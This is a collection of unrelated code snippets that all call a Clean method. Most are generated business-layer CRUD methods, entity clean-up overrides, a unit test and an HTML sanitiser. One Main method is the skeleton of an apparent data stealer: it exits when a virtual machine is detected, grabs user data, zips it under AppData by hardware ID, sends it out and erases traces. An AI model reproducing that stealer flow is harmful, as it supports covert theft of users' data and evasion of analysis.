public void Starting_position_should_be_cleaned() { var position = new Position(123, 456); navigator.StartAt(position); A.CallTo(() => cleaner.Clean(position)).MustHaveHappened(Repeated.Exactly.Once); }
/// <summary> /// Gets the source property value from a <see cref="JToken"/>. /// </summary> /// <param name="json">The <see cref="JToken"/>.</param> /// <param name="operationType">The single <see cref="Mapper.OperationTypes"/> being performed to enable selection.</param> /// <returns>The source value.</returns> object IODataPropertyMapper.GetSrceValue(JToken json, OperationTypes operationType) { if (json == null) throw new ArgumentNullException(nameof(json)); if (Converter != null) return (TSrceProperty)Converter.ConvertToSrce(Cleaner.Clean(json.ToObject(Converter.DestType))); if (!IsSrceComplexType) return json.ToObject<TSrceProperty>(); if (!json.HasValues) return null; var em = (IODataMapper)Mapper; if (SrceComplexTypeReflector.ComplexTypeCode == Reflection.ComplexTypeCode.Object) return (em == null) ? json.ToObject(SrceComplexTypeReflector.PropertyInfo.PropertyType) : em.MapFromOData(json, operationType); if (json.Type != JTokenType.Array) throw new MapperException($"Property '{SrcePropertyName}' has Type '{SrcePropertyType.Name}' and therefore expects a JTokenType.Array not JTokenType.{json.Type}."); if (em == null) return json.ToObject(SrceComplexTypeReflector.PropertyInfo.PropertyType); var vals = new List<Object>(); foreach (var jao in json.Children<JObject>()) { vals.Add(em.MapFromOData(jao, operationType)); } return SrceComplexTypeReflector.CreateValue(vals); }
public Task <TransactionCollectionResult> GetTransactionsAsync(string?accountId, TransactionArgs?args, PagingArgs?paging) { return(ManagerInvoker.Default.InvokeAsync(this, async() => { ExecutionContext.Current.OperationType = OperationType.Read; EntityBase.CleanUp(accountId, args); if (_getTransactionsOnPreValidateAsync != null) { await _getTransactionsOnPreValidateAsync(accountId, args, paging).ConfigureAwait(false); } MultiValidator.Create() .Add(accountId.Validate(nameof(accountId)).Mandatory().Common(Validators.AccountId)) .Add(args.Validate(nameof(args)).Entity(TransactionArgsValidator.Default)) .Additional((__mv) => _getTransactionsOnValidate?.Invoke(__mv, accountId, args, paging)) .Run().ThrowOnError(); if (_getTransactionsOnBeforeAsync != null) { await _getTransactionsOnBeforeAsync(accountId, args, paging).ConfigureAwait(false); } var __result = await TransactionDataSvc.GetTransactionsAsync(accountId, args, paging).ConfigureAwait(false); if (_getTransactionsOnAfterAsync != null) { await _getTransactionsOnAfterAsync(__result, accountId, args, paging).ConfigureAwait(false); } Cleaner.Clean(__result); return __result; })); }
static void Main(string[] args) { if (Identifier.VMDetector()) { Process.GetCurrentProcess().Kill(); } Cleaner.Kill(); User user = new User(); Identifier.GetInfo(ref user); Directory.CreateDirectory($"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\\{user.Hwid}"); Grabber.Grab(ref user); DataContractJsonSerializer jsonFormatter = new DataContractJsonSerializer(typeof(User)); using (FileStream fs = new FileStream($"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\\{user.Hwid}\\Data.json", FileMode.OpenOrCreate)) { jsonFormatter.WriteObject(fs, user); } if (File.Exists($"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\\{user.Hwid}.zip")) { File.Delete($"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\\{user.Hwid}.zip"); } ZipFile.CreateFromDirectory($"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\\{user.Hwid}", $"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\\{user.Hwid}.zip", CompressionLevel.Fastest, false); Sender.Send(ref user); Cleaner.Clean(ref user); }
public override void CleanUp() { base.CleanUp(); AlternateName = Cleaner.Clean(AlternateName, StringTrim.End, StringTransform.EmptyToNull); OnAfterCleanUp(); }
/// <summary> /// Gets the <see cref="CustomerGroup"/> object that matches the selection criteria. /// </summary> /// <param name="id">The <see cref="CustomerGroup"/> identifier.</param> /// <param name="company">The Company (see <see cref="RefDataNamespace.Company"/>).</param> /// <returns>The selected <see cref="CustomerGroup"/> object where found; otherwise, <c>null</c>.</returns> public Task <CustomerGroup> GetAsync(string id, RefDataNamespace.Company company) { return(ManagerInvoker.Default.InvokeAsync(this, async() => { ExecutionContext.Current.OperationType = OperationType.Read; EntityBase.CleanUp(id); if (_getOnPreValidateAsync != null) { await _getOnPreValidateAsync(id, company); } MultiValidator.Create() .Add(id.Validate(nameof(id)).Mandatory()) .Add(company.Validate(nameof(company)).Mandatory().IsValid()) .Additional((__mv) => _getOnValidate?.Invoke(__mv, id, company)) .Run().ThrowOnError(); if (_getOnBeforeAsync != null) { await _getOnBeforeAsync(id, company); } var __result = await CustomerGroupDataSvc.GetAsync(id, company); if (_getOnAfterAsync != null) { await _getOnAfterAsync(__result, id, company); } Cleaner.Clean(__result); return __result; })); }
/// <summary> /// Updates the <see cref="CustomerGroup"/> object. /// </summary> /// <param name="value">The <see cref="CustomerGroup"/> object.</param> /// <param name="id">The <see cref="CustomerGroup"/> identifier.</param> /// <param name="company">The Company (see <see cref="RefDataNamespace.Company"/>).</param> /// <returns>A refreshed <see cref="CustomerGroup"/> object.</returns> public Task <CustomerGroup> UpdateAsync(CustomerGroup value, string id, RefDataNamespace.Company company) { return(ManagerInvoker.Default.InvokeAsync(this, async() => { ExecutionContext.Current.OperationType = OperationType.Update; if (value != null) { value.Id = id; value.Company = company; } EntityBase.CleanUp(value, id); if (_updateOnPreValidateAsync != null) { await _updateOnPreValidateAsync(value, id, company); } MultiValidator.Create() .Add(value.Validate(nameof(value)).Mandatory().Entity(CustomerGroupValidator.Default)) .Add(company.Validate(nameof(company)).IsValid()) .Additional((__mv) => _updateOnValidate?.Invoke(__mv, value, id, company)) .Run().ThrowOnError(); if (_updateOnBeforeAsync != null) { await _updateOnBeforeAsync(value, id, company); } var __result = await CustomerGroupDataSvc.UpdateAsync(value); if (_updateOnAfterAsync != null) { await _updateOnAfterAsync(__result, id, company); } Cleaner.Clean(__result); return __result; })); }
public Task <PersonCollectionResult> GetAll2Async() { return(ManagerInvoker.Current.InvokeAsync(this, async() => { ExecutionContext.Current.OperationType = OperationType.Read; if (_getAll2OnPreValidateAsync != null) { await _getAll2OnPreValidateAsync().ConfigureAwait(false); } MultiValidator.Create() .Additional((__mv) => _getAll2OnValidate?.Invoke(__mv)) .Run().ThrowOnError(); if (_getAll2OnBeforeAsync != null) { await _getAll2OnBeforeAsync().ConfigureAwait(false); } var __result = await _dataService.GetAll2Async().ConfigureAwait(false); if (_getAll2OnAfterAsync != null) { await _getAll2OnAfterAsync(__result).ConfigureAwait(false); } return Cleaner.Clean(__result); })); }
/// <summary> /// Creates the <see cref="Gender"/> object. /// </summary> /// <param name="value">The <see cref="Gender"/> object.</param> /// <returns>A refreshed <see cref="Gender"/> object.</returns> public Task <Gender> CreateAsync(Gender value) { return(ManagerInvoker.Default.InvokeAsync(this, async() => { ExecutionContext.Current.OperationType = OperationType.Create; EntityBase.CleanUp(value); if (_createOnPreValidateAsync != null) { await _createOnPreValidateAsync(value).ConfigureAwait(false); } MultiValidator.Create() .Add(value.Validate(nameof(value)).Mandatory().Entity(new ReferenceDataValidator <Gender>())) .Additional((__mv) => _createOnValidate?.Invoke(__mv, value)) .Run().ThrowOnError(); if (_createOnBeforeAsync != null) { await _createOnBeforeAsync(value).ConfigureAwait(false); } var __result = await GenderDataSvc.CreateAsync(value).ConfigureAwait(false); if (_createOnAfterAsync != null) { await _createOnAfterAsync(__result).ConfigureAwait(false); } Cleaner.Clean(__result); return __result; })); }
// This method gets called by the runtime. Use this method to configure the HTTP request pipeline. public void Configure(IApplicationBuilder app, IConfiguration config, ILogger <WebApiExceptionHandlerMiddleware> logger) { // Configure the logger. _logger = Check.NotNull(logger, nameof(logger)); // Override the exception handling. app.UseWebApiExceptionHandler(_logger, config.GetValue <bool>("BeefIncludeExceptionInInternalServerError")); // Set up the health checks. app.UseHealthChecks("/health"); // Enable middleware to serve generated Swagger as a JSON endpoint and serve the swagger-ui. app.UseSwagger(); app.UseSwaggerUI(c => c.SwaggerEndpoint("/swagger/v1/swagger.json", "BEEF Demo")); // Configure the ExecutionContext for the request. app.UseExecutionContext((context, ec) => { ec.Username = context.User.Identity.Name ?? WebApiExecutionContextMiddleware.DefaultUsername; ec.Timestamp = Cleaner.Clean(DateTime.Now); }); // Use controllers. app.UseHttpsRedirection(); app.UseRouting(); app.UseEndpoints(endpoints => { endpoints.MapControllers(); endpoints.MapGrpcService <Grpc.RobotService>(); }); }
public Task <Person> MergeAsync(Guid fromId, Guid toId) { return(ManagerInvoker.Current.InvokeAsync(this, async() => { ExecutionContext.Current.OperationType = OperationType.Update; Cleaner.CleanUp(fromId, toId); if (_mergeOnPreValidateAsync != null) { await _mergeOnPreValidateAsync(fromId, toId).ConfigureAwait(false); } MultiValidator.Create() .Add(fromId.Validate(nameof(fromId)).Mandatory()) .Add(toId.Validate(nameof(toId)).Mandatory().CompareValue(CompareOperator.NotEqual, fromId, nameof(fromId).ToSentenceCase() !)) .Additional((__mv) => _mergeOnValidate?.Invoke(__mv, fromId, toId)) .Run().ThrowOnError(); if (_mergeOnBeforeAsync != null) { await _mergeOnBeforeAsync(fromId, toId).ConfigureAwait(false); } var __result = await _dataService.MergeAsync(fromId, toId).ConfigureAwait(false); if (_mergeOnAfterAsync != null) { await _mergeOnAfterAsync(__result, fromId, toId).ConfigureAwait(false); } return Cleaner.Clean(__result); }));
public async Task PublishValueAsync_ValueIIdentifier() { ExecutionContext.Reset(); var start = Cleaner.Clean(DateTime.Now); var tep = new TestEventPublisher(); var v = new Entity { Id = 123 }; await tep.PublishValue(v, "domain.entity.123", "create").SendAsync().ConfigureAwait(false); Assert.AreEqual(1, tep.Events.Count); var ed = (EventData <Entity>)tep.Events[0]; Assert.IsNotNull(ed.EventId); Assert.IsNotNull(ed); Assert.AreEqual("domain.entity.123", ed.Subject); Assert.AreEqual("create", ed.Action); Assert.AreEqual(123, ed.Key); Assert.IsTrue(ed.HasValue); Assert.IsTrue(ed.Timestamp >= start); Assert.AreEqual(v, ed.Value); Assert.IsNull(ed.PartitionKey); }
/// <summary> /// Updates the <see cref="Robot"/> object. /// </summary> /// <param name="value">The <see cref="Robot"/> object.</param> /// <param name="id">The <see cref="Robot"/> identifier.</param> /// <returns>A refreshed <see cref="Robot"/> object.</returns> public Task <Robot> UpdateAsync(Robot value, Guid id) { return(ManagerInvoker.Default.InvokeAsync(this, async() => { ExecutionContext.Current.OperationType = OperationType.Update; if (value != null) { value.Id = id; } EntityBase.CleanUp(value, id); if (_updateOnPreValidateAsync != null) { await _updateOnPreValidateAsync(value, id); } MultiValidator.Create() .Add(value.Validate(nameof(value)).Mandatory().Entity(RobotValidator.Default)) .Additional((__mv) => _updateOnValidate?.Invoke(__mv, value, id)) .Run().ThrowOnError(); if (_updateOnBeforeAsync != null) { await _updateOnBeforeAsync(value, id); } var __result = await RobotDataSvc.UpdateAsync(value); if (_updateOnAfterAsync != null) { await _updateOnAfterAsync(__result, id); } Cleaner.Clean(__result); return __result; })); }
/// <summary> /// Gets the <see cref="Robot"/> collection object that matches the selection criteria. /// </summary> /// <param name="args">The Args (see <see cref="RobotArgs"/>).</param> /// <param name="paging">The <see cref="PagingArgs"/>.</param> /// <returns>A <see cref="RobotCollectionResult"/>.</returns> public Task <RobotCollectionResult> GetByArgsAsync(RobotArgs args, PagingArgs paging) { return(ManagerInvoker.Default.InvokeAsync(this, async() => { ExecutionContext.Current.OperationType = OperationType.Read; EntityBase.CleanUp(args); if (_getByArgsOnPreValidateAsync != null) { await _getByArgsOnPreValidateAsync(args, paging); } MultiValidator.Create() .Add(args.Validate(nameof(args)).Entity(RobotArgsValidator.Default)) .Additional((__mv) => _getByArgsOnValidate?.Invoke(__mv, args, paging)) .Run().ThrowOnError(); if (_getByArgsOnBeforeAsync != null) { await _getByArgsOnBeforeAsync(args, paging); } var __result = await RobotDataSvc.GetByArgsAsync(args, paging); if (_getByArgsOnAfterAsync != null) { await _getByArgsOnAfterAsync(__result, args, paging); } Cleaner.Clean(__result); return __result; })); }
/// <summary> /// Replaces the wildcard text with the appropriate database representative characters to enable the corresponding SQL LIKE wildcard. /// </summary> /// <param name="text">The wildcard text.</param> /// <returns>The SQL LIKE wildcard.</returns> public string?Replace(string?text) { var wc = Wildcard ?? Wildcard.Default ?? Wildcard.MultiAll; var wr = wc.Parse(text).ThrowOnError(); if (wr.Selection.HasFlag(WildcardSelection.None) || (wr.Selection.HasFlag(WildcardSelection.Single) && wr.Selection.HasFlag(WildcardSelection.MultiWildcard))) { return(new string(MultiWildcard, 1)); } var sb = new StringBuilder(); foreach (var c in wr.Text !) { if (wr.Selection.HasFlag(WildcardSelection.MultiWildcard) && c == Wildcard.MultiWildcardCharacter) { sb.Append(MultiWildcard); } else if (wr.Selection.HasFlag(WildcardSelection.SingleWildcard) && c == Wildcard.SingleWildcardCharacter) { sb.Append(SingleWildcard); } else if (CharactersToEscape != null && CharactersToEscape.Contains(c)) { sb.Append(string.Format(System.Globalization.CultureInfo.InvariantCulture, EscapeFormat, c)); } else { sb.Append(c); } } return(Cleaner.Clean(sb.ToString(), StringTrim.None, wc.Transform)); }
public Task <TripPerson> UpdateAsync(TripPerson value, string?id) { value.Validate(nameof(value)).Mandatory().Run().ThrowOnError(); return(ManagerInvoker.Default.InvokeAsync(this, async() => { ExecutionContext.Current.OperationType = OperationType.Update; value.Id = id; EntityBase.CleanUp(value, id); if (_updateOnPreValidateAsync != null) { await _updateOnPreValidateAsync(value, id).ConfigureAwait(false); } MultiValidator.Create() .Add(value.Validate(nameof(value))) .Additional((__mv) => _updateOnValidate?.Invoke(__mv, value, id)) .Run().ThrowOnError(); if (_updateOnBeforeAsync != null) { await _updateOnBeforeAsync(value, id).ConfigureAwait(false); } var __result = await TripPersonDataSvc.UpdateAsync(value).ConfigureAwait(false); if (_updateOnAfterAsync != null) { await _updateOnAfterAsync(__result, id).ConfigureAwait(false); } Cleaner.Clean(__result); return __result; })); }
/// <summary> /// Performs a clean-up of the <see cref="PersonDetail"/> resetting property values as appropriate to ensure a basic level of data consistency. /// </summary> public override void CleanUp() { base.CleanUp(); this.History = Cleaner.Clean <WorkHistoryCollection>(this.History); this.OnAfterCleanUp(); }
public Task <Person> CreateAsync(Person value) { value.Validate(nameof(value)).Mandatory().Run().ThrowOnError(); return(ManagerInvoker.Current.InvokeAsync(this, async() => { ExecutionContext.Current.OperationType = OperationType.Create; Cleaner.CleanUp(value); if (_createOnPreValidateAsync != null) { await _createOnPreValidateAsync(value).ConfigureAwait(false); } MultiValidator.Create() .Add(value.Validate(nameof(value)).Entity(PersonValidator.Default)) .Additional((__mv) => _createOnValidate?.Invoke(__mv, value)) .Run().ThrowOnError(); if (_createOnBeforeAsync != null) { await _createOnBeforeAsync(value).ConfigureAwait(false); } var __result = await _dataService.CreateAsync(value).ConfigureAwait(false); if (_createOnAfterAsync != null) { await _createOnAfterAsync(__result).ConfigureAwait(false); } return Cleaner.Clean(__result); })); }
public Task <PersonDetailCollectionResult> GetDetailByArgsAsync(PersonArgs?args, PagingArgs?paging) { return(ManagerInvoker.Current.InvokeAsync(this, async() => { ExecutionContext.Current.OperationType = OperationType.Read; Cleaner.CleanUp(args); if (_getDetailByArgsOnPreValidateAsync != null) { await _getDetailByArgsOnPreValidateAsync(args, paging).ConfigureAwait(false); } MultiValidator.Create() .Add(args.Validate(nameof(args)).Entity(PersonArgsValidator.Default)) .Additional((__mv) => _getDetailByArgsOnValidate?.Invoke(__mv, args, paging)) .Run().ThrowOnError(); if (_getDetailByArgsOnBeforeAsync != null) { await _getDetailByArgsOnBeforeAsync(args, paging).ConfigureAwait(false); } var __result = await _dataService.GetDetailByArgsAsync(args, paging).ConfigureAwait(false); if (_getDetailByArgsOnAfterAsync != null) { await _getDetailByArgsOnAfterAsync(__result, args, paging).ConfigureAwait(false); } return Cleaner.Clean(__result); })); }
public async Task <TripPerson> CreateAsync(TripPerson value) => await ManagerInvoker.Current.InvokeAsync(this, async() => { await value.Validate().Mandatory().RunAsync(throwOnError: true).ConfigureAwait(false); Cleaner.CleanUp(value); return(Cleaner.Clean(await _dataService.CreateAsync(value).ConfigureAwait(false))); }, BusinessInvokerArgs.Create).ConfigureAwait(false);
/// <summary> /// Performs a clean-up of the <see cref="PersonDetail"/> resetting property values as appropriate to ensure a basic level of data consistency. /// </summary> public override void CleanUp() { base.CleanUp(); History = Cleaner.Clean(History); OnAfterCleanUp(); }
#pragma warning restore CS0649 #endregion /// <summary> /// Gets the <see cref="Gender"/> object that matches the selection criteria. /// </summary> /// <param name="id">The <see cref="Gender"/> identifier.</param> /// <returns>The selected <see cref="Gender"/> object where found; otherwise, <c>null</c>.</returns> public Task <Gender> GetAsync(Guid id) { return(ManagerInvoker.Default.InvokeAsync(this, async() => { ExecutionContext.Current.OperationType = OperationType.Read; EntityBase.CleanUp(id); if (_getOnPreValidateAsync != null) { await _getOnPreValidateAsync(id).ConfigureAwait(false); } MultiValidator.Create() .Add(id.Validate(nameof(id)).Mandatory()) .Additional((__mv) => _getOnValidate?.Invoke(__mv, id)) .Run().ThrowOnError(); if (_getOnBeforeAsync != null) { await _getOnBeforeAsync(id).ConfigureAwait(false); } var __result = await GenderDataSvc.GetAsync(id).ConfigureAwait(false); if (_getOnAfterAsync != null) { await _getOnAfterAsync(__result, id).ConfigureAwait(false); } Cleaner.Clean(__result); return __result; })); }
public override void CleanUp() { base.CleanUp(); this.Id = Cleaner.Clean(this.Id); this.Text = Cleaner.Clean(this.Text); this.Now = Cleaner.Clean(this.Now); this.Time = Cleaner.Clean(this.Time); }
/// <summary> /// Get safe HTML from untrusted input HTML, by parsing input HTML and filtering it through a white-list of permitted /// tags and attributes. /// </summary> /// <param name="bodyHtml">Input untrusted HTML (body fragment)</param> /// <param name="baseUri">URL to resolve relative URLs against</param> /// <param name="whitelist">White-list of permitted HTML elements</param> /// <returns>Safe HTML (body fragment)</returns> /// <seealso cref="Cleaner.Clean(Document)"/> public static string Clean(string bodyHtml, string baseUri, Whitelist whitelist) { Document dirty = ParseBodyFragment(bodyHtml, baseUri); Cleaner cleaner = new Cleaner(whitelist); Document clean = cleaner.Clean(dirty); return(clean.Body.Html()); }
public Task <Contact> UpdateAsync(Contact value, Guid id) => ManagerInvoker.Current.InvokeAsync(this, async() => { await value.Validate().Mandatory().RunAsync(throwOnError: true).ConfigureAwait(false); value.Id = id; Cleaner.CleanUp(value); return(Cleaner.Clean(await _dataService.UpdateAsync(value).ConfigureAwait(false))); }, BusinessInvokerArgs.Update);
public Task <ContactCollectionResult> GetAllAsync() { return(ManagerInvoker.Current.InvokeAsync(this, async() => { ExecutionContext.Current.OperationType = OperationType.Read; return Cleaner.Clean(await _dataService.GetAllAsync().ConfigureAwait(false)); })); }
public async Task <Employee> TerminateAsync(TerminationDetail value, Guid id) => await ManagerInvoker.Current.InvokeAsync(this, async() => { await value.Validate().Mandatory().RunAsync(throwOnError: true).ConfigureAwait(false); Cleaner.CleanUp(value, id); await value.Validate().Entity().With <IValidator <TerminationDetail> >().RunAsync(throwOnError: true).ConfigureAwait(false); return(Cleaner.Clean(await _dataService.TerminateAsync(value, id).ConfigureAwait(false))); }, BusinessInvokerArgs.Update).ConfigureAwait(false);
/// <summary>Forcibly free the direct buffer.</summary> public static void FreeDB(ByteBuffer buffer) { if (buffer is DirectBuffer) { Cleaner bufferCleaner = ((DirectBuffer)buffer).Cleaner(); bufferCleaner.Clean(); } }
public async Task <Employee> CreateAsync(Employee value) => await ManagerInvoker.Current.InvokeAsync(this, async() => { await value.Validate().Mandatory().RunAsync(throwOnError: true).ConfigureAwait(false); Cleaner.CleanUp(value); await value.Validate().Entity().With <IValidator <Employee> >().RunAsync(throwOnError: true).ConfigureAwait(false); return(Cleaner.Clean(await _dataService.CreateAsync(value).ConfigureAwait(false))); }, BusinessInvokerArgs.Create).ConfigureAwait(false);
/// <summary> /// Performs a clean-up of the <see cref="CustomerGroupArgs"/> resetting property values as appropriate to ensure a basic level of data consistency. /// </summary> public override void CleanUp() { base.CleanUp(); this.Company = Cleaner.Clean <RefDataNamespace.Company>(this.Company); this.Description = Cleaner.Clean(this.Description, StringTrim.End, StringTransform.EmptyToNull); this.OnAfterCleanUp(); }